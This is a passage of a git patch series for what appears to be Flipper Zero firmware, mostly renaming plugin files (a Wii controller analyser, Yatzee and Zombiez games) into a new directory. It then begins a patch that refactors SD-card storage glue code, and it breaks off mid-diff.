b/applications/external/wii_ec_anal/gfx/img_5x7_4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_4.c rename to applications/external/wii_ec_anal/gfx/img_5x7_4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_5.c b/applications/external/wii_ec_anal/gfx/img_5x7_5.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_5.c rename to applications/external/wii_ec_anal/gfx/img_5x7_5.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_6.c b/applications/external/wii_ec_anal/gfx/img_5x7_6.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_6.c rename to applications/external/wii_ec_anal/gfx/img_5x7_6.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_7.c b/applications/external/wii_ec_anal/gfx/img_5x7_7.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_7.c rename to applications/external/wii_ec_anal/gfx/img_5x7_7.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_8.c b/applications/external/wii_ec_anal/gfx/img_5x7_8.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_8.c rename to applications/external/wii_ec_anal/gfx/img_5x7_8.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_9.c b/applications/external/wii_ec_anal/gfx/img_5x7_9.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_9.c rename to applications/external/wii_ec_anal/gfx/img_5x7_9.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_A.c b/applications/external/wii_ec_anal/gfx/img_5x7_A.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_A.c rename to applications/external/wii_ec_anal/gfx/img_5x7_A.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_B.c b/applications/external/wii_ec_anal/gfx/img_5x7_B.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_B.c rename to applications/external/wii_ec_anal/gfx/img_5x7_B.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_C.c b/applications/external/wii_ec_anal/gfx/img_5x7_C.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_C.c rename to applications/external/wii_ec_anal/gfx/img_5x7_C.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_D.c b/applications/external/wii_ec_anal/gfx/img_5x7_D.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_D.c rename to applications/external/wii_ec_anal/gfx/img_5x7_D.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_E.c b/applications/external/wii_ec_anal/gfx/img_5x7_E.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_E.c rename to applications/external/wii_ec_anal/gfx/img_5x7_E.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_F.c b/applications/external/wii_ec_anal/gfx/img_5x7_F.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_F.c rename to applications/external/wii_ec_anal/gfx/img_5x7_F.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_0.c b/applications/external/wii_ec_anal/gfx/img_6x8_0.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_0.c rename to applications/external/wii_ec_anal/gfx/img_6x8_0.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_1.c b/applications/external/wii_ec_anal/gfx/img_6x8_1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_1.c rename to applications/external/wii_ec_anal/gfx/img_6x8_1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_2.c b/applications/external/wii_ec_anal/gfx/img_6x8_2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_2.c rename to applications/external/wii_ec_anal/gfx/img_6x8_2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_3.c b/applications/external/wii_ec_anal/gfx/img_6x8_3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_3.c rename to applications/external/wii_ec_anal/gfx/img_6x8_3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_4.c b/applications/external/wii_ec_anal/gfx/img_6x8_4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_4.c rename to applications/external/wii_ec_anal/gfx/img_6x8_4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_5.c b/applications/external/wii_ec_anal/gfx/img_6x8_5.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_5.c rename to applications/external/wii_ec_anal/gfx/img_6x8_5.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_6.c b/applications/external/wii_ec_anal/gfx/img_6x8_6.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_6.c rename to applications/external/wii_ec_anal/gfx/img_6x8_6.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_7.c b/applications/external/wii_ec_anal/gfx/img_6x8_7.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_7.c rename to applications/external/wii_ec_anal/gfx/img_6x8_7.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_8.c b/applications/external/wii_ec_anal/gfx/img_6x8_8.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_8.c rename to applications/external/wii_ec_anal/gfx/img_6x8_8.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_9.c b/applications/external/wii_ec_anal/gfx/img_6x8_9.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_9.c rename to applications/external/wii_ec_anal/gfx/img_6x8_9.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_A.c b/applications/external/wii_ec_anal/gfx/img_6x8_A.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_A.c rename to applications/external/wii_ec_anal/gfx/img_6x8_A.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_B.c b/applications/external/wii_ec_anal/gfx/img_6x8_B.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_B.c rename to applications/external/wii_ec_anal/gfx/img_6x8_B.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_C.c b/applications/external/wii_ec_anal/gfx/img_6x8_C.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_C.c rename to applications/external/wii_ec_anal/gfx/img_6x8_C.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_D.c b/applications/external/wii_ec_anal/gfx/img_6x8_D.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_D.c rename to applications/external/wii_ec_anal/gfx/img_6x8_D.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_E.c b/applications/external/wii_ec_anal/gfx/img_6x8_E.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_E.c rename to applications/external/wii_ec_anal/gfx/img_6x8_E.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_F.c b/applications/external/wii_ec_anal/gfx/img_6x8_F.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_F.c rename to applications/external/wii_ec_anal/gfx/img_6x8_F.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_G.c b/applications/external/wii_ec_anal/gfx/img_6x8_G.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_G.c rename to applications/external/wii_ec_anal/gfx/img_6x8_G.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_X.c b/applications/external/wii_ec_anal/gfx/img_6x8_X.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_X.c rename to applications/external/wii_ec_anal/gfx/img_6x8_X.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_Y.c b/applications/external/wii_ec_anal/gfx/img_6x8_Y.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_Y.c rename to applications/external/wii_ec_anal/gfx/img_6x8_Y.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_Z.c b/applications/external/wii_ec_anal/gfx/img_6x8_Z.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_Z.c rename to applications/external/wii_ec_anal/gfx/img_6x8_Z.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_d_.c b/applications/external/wii_ec_anal/gfx/img_6x8_d_.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_d_.c rename to applications/external/wii_ec_anal/gfx/img_6x8_d_.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_n_.c b/applications/external/wii_ec_anal/gfx/img_6x8_n_.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_n_.c rename to applications/external/wii_ec_anal/gfx/img_6x8_n_.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_v_.c b/applications/external/wii_ec_anal/gfx/img_6x8_v_.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_v_.c rename to applications/external/wii_ec_anal/gfx/img_6x8_v_.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_RIP.c b/applications/external/wii_ec_anal/gfx/img_RIP.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_RIP.c rename to applications/external/wii_ec_anal/gfx/img_RIP.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_Cable.c b/applications/external/wii_ec_anal/gfx/img_cc_Cable.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_Cable.c rename to applications/external/wii_ec_anal/gfx/img_cc_Cable.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_Joy.c b/applications/external/wii_ec_anal/gfx/img_cc_Joy.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_Joy.c rename to applications/external/wii_ec_anal/gfx/img_cc_Joy.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_Main.c b/applications/external/wii_ec_anal/gfx/img_cc_Main.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_Main.c rename to applications/external/wii_ec_anal/gfx/img_cc_Main.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_btn_A1.c b/applications/external/wii_ec_anal/gfx/img_cc_btn_A1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_btn_A1.c rename to applications/external/wii_ec_anal/gfx/img_cc_btn_A1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_btn_B1.c b/applications/external/wii_ec_anal/gfx/img_cc_btn_B1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_btn_B1.c rename to applications/external/wii_ec_anal/gfx/img_cc_btn_B1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_btn_X1.c b/applications/external/wii_ec_anal/gfx/img_cc_btn_X1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_btn_X1.c rename to applications/external/wii_ec_anal/gfx/img_cc_btn_X1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_btn_Y1.c b/applications/external/wii_ec_anal/gfx/img_cc_btn_Y1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_btn_Y1.c rename to applications/external/wii_ec_anal/gfx/img_cc_btn_Y1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_pad_LR1.c b/applications/external/wii_ec_anal/gfx/img_cc_pad_LR1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_pad_LR1.c rename to applications/external/wii_ec_anal/gfx/img_cc_pad_LR1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_pad_UD1.c b/applications/external/wii_ec_anal/gfx/img_cc_pad_UD1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_pad_UD1.c rename to applications/external/wii_ec_anal/gfx/img_cc_pad_UD1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_L1.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_L1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_L1.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_L1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_L2.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_L2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_L2.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_L2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_L3.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_L3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_L3.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_L3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_L4.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_L4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_L4.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_L4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_R1.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_R1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_R1.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_R1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_R2.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_R2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_R2.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_R2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_R3.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_R3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_R3.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_R3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_cc_trg_R4.c b/applications/external/wii_ec_anal/gfx/img_cc_trg_R4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_cc_trg_R4.c rename to applications/external/wii_ec_anal/gfx/img_cc_trg_R4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_csLogo_FULL.c b/applications/external/wii_ec_anal/gfx/img_csLogo_FULL.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_csLogo_FULL.c rename to applications/external/wii_ec_anal/gfx/img_csLogo_FULL.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_csLogo_Small.c b/applications/external/wii_ec_anal/gfx/img_csLogo_Small.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_csLogo_Small.c rename to applications/external/wii_ec_anal/gfx/img_csLogo_Small.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_ecp_SCL.c b/applications/external/wii_ec_anal/gfx/img_ecp_SCL.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_ecp_SCL.c rename to applications/external/wii_ec_anal/gfx/img_ecp_SCL.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_ecp_SDA.c b/applications/external/wii_ec_anal/gfx/img_ecp_SDA.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_ecp_SDA.c rename to applications/external/wii_ec_anal/gfx/img_ecp_SDA.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_ecp_port.c b/applications/external/wii_ec_anal/gfx/img_ecp_port.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_ecp_port.c rename to applications/external/wii_ec_anal/gfx/img_ecp_port.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_Back.c b/applications/external/wii_ec_anal/gfx/img_key_Back.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_Back.c rename to applications/external/wii_ec_anal/gfx/img_key_Back.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_D.c b/applications/external/wii_ec_anal/gfx/img_key_D.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_D.c rename to applications/external/wii_ec_anal/gfx/img_key_D.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_L.c b/applications/external/wii_ec_anal/gfx/img_key_L.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_L.c rename to applications/external/wii_ec_anal/gfx/img_key_L.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_OK.c b/applications/external/wii_ec_anal/gfx/img_key_OK.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_OK.c rename to applications/external/wii_ec_anal/gfx/img_key_OK.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_OKi.c b/applications/external/wii_ec_anal/gfx/img_key_OKi.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_OKi.c rename to applications/external/wii_ec_anal/gfx/img_key_OKi.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_R.c b/applications/external/wii_ec_anal/gfx/img_key_R.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_R.c rename to applications/external/wii_ec_anal/gfx/img_key_R.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_U.c b/applications/external/wii_ec_anal/gfx/img_key_U.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_U.c rename to applications/external/wii_ec_anal/gfx/img_key_U.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_key_Ui.c b/applications/external/wii_ec_anal/gfx/img_key_Ui.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_key_Ui.c rename to applications/external/wii_ec_anal/gfx/img_key_Ui.c diff --git a/applications/plugins/wii_ec_anal/i2c_workaround.h b/applications/external/wii_ec_anal/i2c_workaround.h similarity index 100% rename from applications/plugins/wii_ec_anal/i2c_workaround.h rename to applications/external/wii_ec_anal/i2c_workaround.h diff --git a/applications/plugins/wii_ec_anal/info.sh b/applications/external/wii_ec_anal/info.sh similarity index 100% rename from applications/plugins/wii_ec_anal/info.sh rename to applications/external/wii_ec_anal/info.sh diff --git a/applications/plugins/wii_ec_anal/wii_anal.c b/applications/external/wii_ec_anal/wii_anal.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal.c rename to applications/external/wii_ec_anal/wii_anal.c diff --git a/applications/plugins/wii_ec_anal/wii_anal.h b/applications/external/wii_ec_anal/wii_anal.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal.h rename to applications/external/wii_ec_anal/wii_anal.h diff --git a/applications/plugins/wii_ec_anal/wii_anal_ec.c b/applications/external/wii_ec_anal/wii_anal_ec.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_ec.c rename to applications/external/wii_ec_anal/wii_anal_ec.c diff --git a/applications/plugins/wii_ec_anal/wii_anal_ec.h b/applications/external/wii_ec_anal/wii_anal_ec.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_ec.h rename to applications/external/wii_ec_anal/wii_anal_ec.h diff --git a/applications/plugins/wii_ec_anal/wii_anal_keys.c b/applications/external/wii_ec_anal/wii_anal_keys.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_keys.c rename to applications/external/wii_ec_anal/wii_anal_keys.c diff --git a/applications/plugins/wii_ec_anal/wii_anal_keys.h b/applications/external/wii_ec_anal/wii_anal_keys.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_keys.h rename to applications/external/wii_ec_anal/wii_anal_keys.h diff --git a/applications/plugins/wii_ec_anal/wii_anal_lcd.c b/applications/external/wii_ec_anal/wii_anal_lcd.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_lcd.c rename to applications/external/wii_ec_anal/wii_anal_lcd.c diff --git a/applications/plugins/wii_ec_anal/wii_anal_lcd.h b/applications/external/wii_ec_anal/wii_anal_lcd.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_lcd.h rename to applications/external/wii_ec_anal/wii_anal_lcd.h diff --git a/applications/plugins/wii_ec_anal/wii_anal_ver.h b/applications/external/wii_ec_anal/wii_anal_ver.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_anal_ver.h rename to applications/external/wii_ec_anal/wii_anal_ver.h diff --git a/applications/plugins/wii_ec_anal/wii_ec.c b/applications/external/wii_ec_anal/wii_ec.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec.c rename to applications/external/wii_ec_anal/wii_ec.c diff --git a/applications/plugins/wii_ec_anal/wii_ec.h b/applications/external/wii_ec_anal/wii_ec.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec.h rename to applications/external/wii_ec_anal/wii_ec.h diff --git a/applications/plugins/wii_ec_anal/wii_ec_classic.c b/applications/external/wii_ec_anal/wii_ec_classic.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_classic.c rename to applications/external/wii_ec_anal/wii_ec_classic.c diff --git a/applications/plugins/wii_ec_anal/wii_ec_classic.h b/applications/external/wii_ec_anal/wii_ec_classic.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_classic.h rename to applications/external/wii_ec_anal/wii_ec_classic.h diff --git a/applications/plugins/wii_ec_anal/wii_ec_macros.h b/applications/external/wii_ec_anal/wii_ec_macros.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_macros.h rename to applications/external/wii_ec_anal/wii_ec_macros.h diff --git a/applications/plugins/wii_ec_anal/wii_ec_nunchuck.c b/applications/external/wii_ec_anal/wii_ec_nunchuck.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_nunchuck.c rename to applications/external/wii_ec_anal/wii_ec_nunchuck.c diff --git a/applications/plugins/wii_ec_anal/wii_ec_nunchuck.h b/applications/external/wii_ec_anal/wii_ec_nunchuck.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_nunchuck.h rename to applications/external/wii_ec_anal/wii_ec_nunchuck.h diff --git a/applications/plugins/wii_ec_anal/wii_ec_udraw.c b/applications/external/wii_ec_anal/wii_ec_udraw.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_udraw.c rename to applications/external/wii_ec_anal/wii_ec_udraw.c diff --git a/applications/plugins/wii_ec_anal/wii_ec_udraw.h b/applications/external/wii_ec_anal/wii_ec_udraw.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_ec_udraw.h rename to applications/external/wii_ec_anal/wii_ec_udraw.h diff --git a/applications/plugins/wii_ec_anal/wii_i2c.c b/applications/external/wii_ec_anal/wii_i2c.c similarity index 100% rename from applications/plugins/wii_ec_anal/wii_i2c.c rename to applications/external/wii_ec_anal/wii_i2c.c diff --git a/applications/plugins/wii_ec_anal/wii_i2c.h b/applications/external/wii_ec_anal/wii_i2c.h similarity index 100% rename from applications/plugins/wii_ec_anal/wii_i2c.h rename to applications/external/wii_ec_anal/wii_i2c.h diff --git a/applications/plugins/yatzee/LICENSE b/applications/external/yatzee/LICENSE similarity index 100% rename from applications/plugins/yatzee/LICENSE rename to applications/external/yatzee/LICENSE diff --git a/applications/plugins/yatzee/README.md b/applications/external/yatzee/README.md similarity index 100% rename from applications/plugins/yatzee/README.md rename to applications/external/yatzee/README.md diff --git a/applications/plugins/yatzee/application.fam b/applications/external/yatzee/application.fam similarity index 100% rename from applications/plugins/yatzee/application.fam rename to applications/external/yatzee/application.fam diff --git a/applications/plugins/yatzee/images/die_1.png b/applications/external/yatzee/images/die_1.png similarity index 100% rename from applications/plugins/yatzee/images/die_1.png rename to applications/external/yatzee/images/die_1.png diff --git a/applications/plugins/yatzee/images/die_2.png b/applications/external/yatzee/images/die_2.png similarity index 100% rename from applications/plugins/yatzee/images/die_2.png rename to applications/external/yatzee/images/die_2.png diff --git a/applications/plugins/yatzee/images/die_3.png b/applications/external/yatzee/images/die_3.png similarity index 100% rename from applications/plugins/yatzee/images/die_3.png rename to applications/external/yatzee/images/die_3.png diff --git a/applications/plugins/yatzee/images/die_4.png b/applications/external/yatzee/images/die_4.png similarity index 100% rename from applications/plugins/yatzee/images/die_4.png rename to applications/external/yatzee/images/die_4.png diff --git a/applications/plugins/yatzee/images/die_5.png b/applications/external/yatzee/images/die_5.png similarity index 100% rename from applications/plugins/yatzee/images/die_5.png rename to applications/external/yatzee/images/die_5.png diff --git a/applications/plugins/yatzee/images/die_6.png b/applications/external/yatzee/images/die_6.png similarity index 100% rename from applications/plugins/yatzee/images/die_6.png rename to applications/external/yatzee/images/die_6.png diff --git a/applications/plugins/yatzee/images/yatzee_icon_10px.png b/applications/external/yatzee/images/yatzee_icon_10px.png similarity index 100% rename from applications/plugins/yatzee/images/yatzee_icon_10px.png rename to applications/external/yatzee/images/yatzee_icon_10px.png diff --git a/applications/plugins/yatzee/yatzee.c b/applications/external/yatzee/yatzee.c similarity index 100% rename from applications/plugins/yatzee/yatzee.c rename to applications/external/yatzee/yatzee.c diff --git a/applications/plugins/zombiez/application.fam b/applications/external/zombiez/application.fam similarity index 100% rename from applications/plugins/zombiez/application.fam rename to applications/external/zombiez/application.fam diff --git a/applications/plugins/zombiez/zombie_10px.png b/applications/external/zombiez/zombie_10px.png similarity index 100% rename from applications/plugins/zombiez/zombie_10px.png rename to applications/external/zombiez/zombie_10px.png diff --git a/applications/plugins/zombiez/zombiez.c b/applications/external/zombiez/zombiez.c similarity index 100% rename from applications/plugins/zombiez/zombiez.c rename to applications/external/zombiez/zombiez.c diff --git a/applications/plugins/zombiez/zombiez.h b/applications/external/zombiez/zombiez.h similarity index 100% rename from applications/plugins/zombiez/zombiez.h rename to applications/external/zombiez/zombiez.h From 58d4f3b53198784b77c8b9186ffe050a3052d4f0 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sat, 18 Mar 2023 02:50:05 +0300 Subject: [PATCH 144/329] OFW PR: 2493 - SD Driver: reinit sd card on error No issues was found during my own testing and running sd benchmarks, sorry for rushing, I may miss something, usually I prefer to wait for official review --- applications/services/storage/storage_glue.c | 61 ++--- applications/services/storage/storage_glue.h | 2 +- .../services/storage/storage_processing.c | 6 +- .../services/storage/storages/storage_ext.c | 2 +- firmware/targets/f18/furi_hal/furi_hal.c | 2 +- firmware/targets/f7/fatfs/fatfs.c | 27 +-- firmware/targets/f7/fatfs/fatfs.h | 30 +-- firmware/targets/f7/fatfs/ffconf.h | 2 +- firmware/targets/f7/fatfs/syscall.c | 116 ---------- firmware/targets/f7/fatfs/user_diskio.c | 208 +++++++++--------- firmware/targets/f7/fatfs/user_diskio.h | 21 +- firmware/targets/f7/furi_hal/furi_hal.c | 2 +- firmware/targets/f7/src/update.c | 2 +- 13 files changed, 153 insertions(+), 328 deletions(-) delete mode 100644 firmware/targets/f7/fatfs/syscall.c diff --git a/applications/services/storage/storage_glue.c b/applications/services/storage/storage_glue.c index 5dabfa386..63e44c9d7 100644 --- a/applications/services/storage/storage_glue.c +++ b/applications/services/storage/storage_glue.c @@ -73,29 +73,34 @@ uint32_t storage_data_get_timestamp(StorageData* storage) { /****************** storage glue ******************/ -bool storage_has_file(const File* file, StorageData* storage_data) { - bool result = false; +static StorageFile* storage_get_file(const File* file, StorageData* storage) { + StorageFile* storage_file_ref = NULL; StorageFileList_it_t it; - for(StorageFileList_it(it, storage_data->files); !StorageFileList_end_p(it); + for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); StorageFileList_next(it)) { - const StorageFile* storage_file = StorageFileList_cref(it); + StorageFile* storage_file = StorageFileList_ref(it); if(storage_file->file->file_id == file->file_id) { - result = true; + storage_file_ref = storage_file; break; } } - return result; + return storage_file_ref; } -bool storage_path_already_open(FuriString* path, StorageFileList_t array) { +bool storage_has_file(const File* file, StorageData* storage) { + return storage_get_file(file, storage) != NULL; +} + +bool storage_path_already_open(FuriString* path, StorageData* storage) { bool open = false; StorageFileList_it_t it; - for(StorageFileList_it(it, array); !StorageFileList_end_p(it); StorageFileList_next(it)) { + for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); + StorageFileList_next(it)) { const StorageFile* storage_file = StorageFileList_cref(it); if(furi_string_cmp(storage_file->path, path) == 0) { @@ -108,43 +113,15 @@ bool storage_path_already_open(FuriString* path, StorageFileList_t array) { } void storage_set_storage_file_data(const File* file, void* file_data, StorageData* storage) { - StorageFile* founded_file = NULL; - - StorageFileList_it_t it; - - for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); - StorageFileList_next(it)) { - StorageFile* storage_file = StorageFileList_ref(it); - - if(storage_file->file->file_id == file->file_id) { - founded_file = storage_file; - break; - } - } - - furi_check(founded_file != NULL); - - founded_file->file_data = file_data; + StorageFile* storage_file_ref = storage_get_file(file, storage); + furi_check(storage_file_ref != NULL); + storage_file_ref->file_data = file_data; } void* storage_get_storage_file_data(const File* file, StorageData* storage) { - const StorageFile* founded_file = NULL; - - StorageFileList_it_t it; - - for(StorageFileList_it(it, storage->files); !StorageFileList_end_p(it); - StorageFileList_next(it)) { - const StorageFile* storage_file = StorageFileList_cref(it); - - if(storage_file->file->file_id == file->file_id) { - founded_file = storage_file; - break; - } - } - - furi_check(founded_file != NULL); - - return founded_file->file_data; + StorageFile* storage_file_ref = storage_get_file(file, storage); + furi_check(storage_file_ref != NULL); + return storage_file_ref->file_data; } void storage_push_storage_file(File* file, FuriString* path, StorageData* storage) { diff --git a/applications/services/storage/storage_glue.h b/applications/services/storage/storage_glue.h index bf0a1c69e..f10640345 100644 --- a/applications/services/storage/storage_glue.h +++ b/applications/services/storage/storage_glue.h @@ -60,7 +60,7 @@ struct StorageData { }; bool storage_has_file(const File* file, StorageData* storage_data); -bool storage_path_already_open(FuriString* path, StorageFileList_t files); +bool storage_path_already_open(FuriString* path, StorageData* storage_data); void 